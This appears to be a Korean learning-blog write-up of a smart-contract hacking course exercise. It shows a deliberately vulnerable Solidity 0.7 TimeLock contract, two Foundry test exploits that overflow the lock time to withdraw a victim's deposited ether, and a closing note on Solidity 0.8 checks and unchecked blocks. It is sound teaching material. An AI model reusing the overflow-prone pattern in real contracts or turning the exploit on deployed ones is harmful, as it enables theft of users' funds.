아래 컨트랙트의 취약점을 찾아 victim 계정의 이더를 탈취하면 된다. 0.8 버전 이하라서 Over/Underflow 공격이 가능하다.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
/**
* @title TimeLock
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract TimeLock {
mapping(address => uint) public getBalance;
mapping(address => uint) public getLocktime;
constructor() {}
function depositETH() public payable {
getBalance[msg.sender] += msg.value;
getLocktime[msg.sender] = block.timestamp + 30 days;
}
function increaseMyLockTime(uint _secondsToIncrease) public {
// 1234567
// MAX_UINT256 (2^256) + 1 - 1234567
getLocktime[msg.sender] += _secondsToIncrease;
}
function withdrawETH() public {
require(getBalance[msg.sender] > 0);
require(block.timestamp > getLocktime[msg.sender]);
uint transferValue = getBalance[msg.sender];
getBalance[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: transferValue}("");
require(sent, "Failed to send ETH");
}
}
친절하게 중간에 주석으로 힌트가 있다. 예치 기간을 맥시멈으로 늘려서 overflow 공격을 하면 될 것 같다. 바로 테스트 코드를 작성해보자.
내가 작성한 테스트 코드는 다음과 같다.
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma abicoder v2;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/arithmetic-overflows-1/TimeLock.sol";
contract TestA01 is Test{
address deployer;
address victim;
address attacker;
TimeLock timeLockContract;
function setUp() public {
deployer = address(0);
victim = address(1);
attacker = address(2);
vm.deal(victim, 1 ether);
vm.prank(deployer);
timeLockContract = new TimeLock();
vm.prank(victim);
timeLockContract.depositETH{value: 1 ether}();
}
function test_attack() public {
uint256 targetTimeStamp = timeLockContract.getLocktime(address(victim));
uint256 targetTime = type(uint256).max - targetTimeStamp + 1;
vm.startPrank(victim);
timeLockContract.increaseMyLockTime(targetTime);
timeLockContract.withdrawETH();
address(attacker).call{value: address(victim).balance}("");
vm.stopPrank();
assertEq(address(victim).balance, 0);
assertEq(address(attacker).balance, 1 ether);
}
}
type(uint256).max
를 이용해 맥스값에서 1을 더해주면 overflow 완성!
이제 모범답안을 살펴보자.
contract TestAO1 is Test {
uint256 public constant VICTIM_DEPOSIT = 100 ether;
uint256 constant MAX_UINT = 2 ** 256 - 1;
TimeLock timeLock;
address deployer;
address victim;
address attacker;
uint256 init_bal_victim;
uint256 init_bal_attacker;
function setUp() public {
deployer = address(1);
victim = address(2);
attacker = address(3);
vm.deal(victim, 1000 ether);
vm.deal(attacker, 1000 ether);
init_bal_victim = address(victim).balance;
init_bal_attacker = address(attacker).balance;
vm.prank(deployer);
timeLock = new TimeLock();
vm.prank(victim);
timeLock.depositETH{value: VICTIM_DEPOSIT}();
uint256 curr_bal_victim = address(victim).balance;
assertEq(curr_bal_victim, init_bal_victim - VICTIM_DEPOSIT);
uint256 victim_deposited = timeLock.getBalance(victim);
assertEq(victim_deposited, VICTIM_DEPOSIT);
}
function test() public {
uint256 currLockTime = timeLock.getLocktime(victim);
uint256 timeToAdd = MAX_UINT - currLockTime + 1;
vm.startPrank(victim);
timeLock.increaseMyLockTime(timeToAdd);
timeLock.withdrawETH();
(bool success, ) = attacker.call{value: VICTIM_DEPOSIT}("");
require(success, "Sending balance to atacker failed!!!");
vm.stopPrank();
// Timelock contract victim's balance supposed to be 0 (withdrawn successfuly)
uint256 victim_deposited_after = timeLock.getBalance(victim);
assertEq(victim_deposited_after, 0);
// Attacker's should steal successfully the 100 ETH
uint256 curr_bal_attacker = address(attacker).balance;
assertEq(curr_bal_attacker, init_bal_attacker + VICTIM_DEPOSIT);
}
}
initial balance를 미리 설정한 것을 제외하면 거의 비슷하다.
이러한 취약점을 방지하려면 0.8.0 버전 이상으로 컨트랙트를 작성하면 된다. 하지만 0.8.0 버전에서도 가스를 절약하기 위해 overflow/underflow를 체크하지 않는 unchecked
구간을 만들 수 있기 때문에 해당 구간에서 overflow/underflow가 발생하지 않는지 체크해 볼 필요가 있다.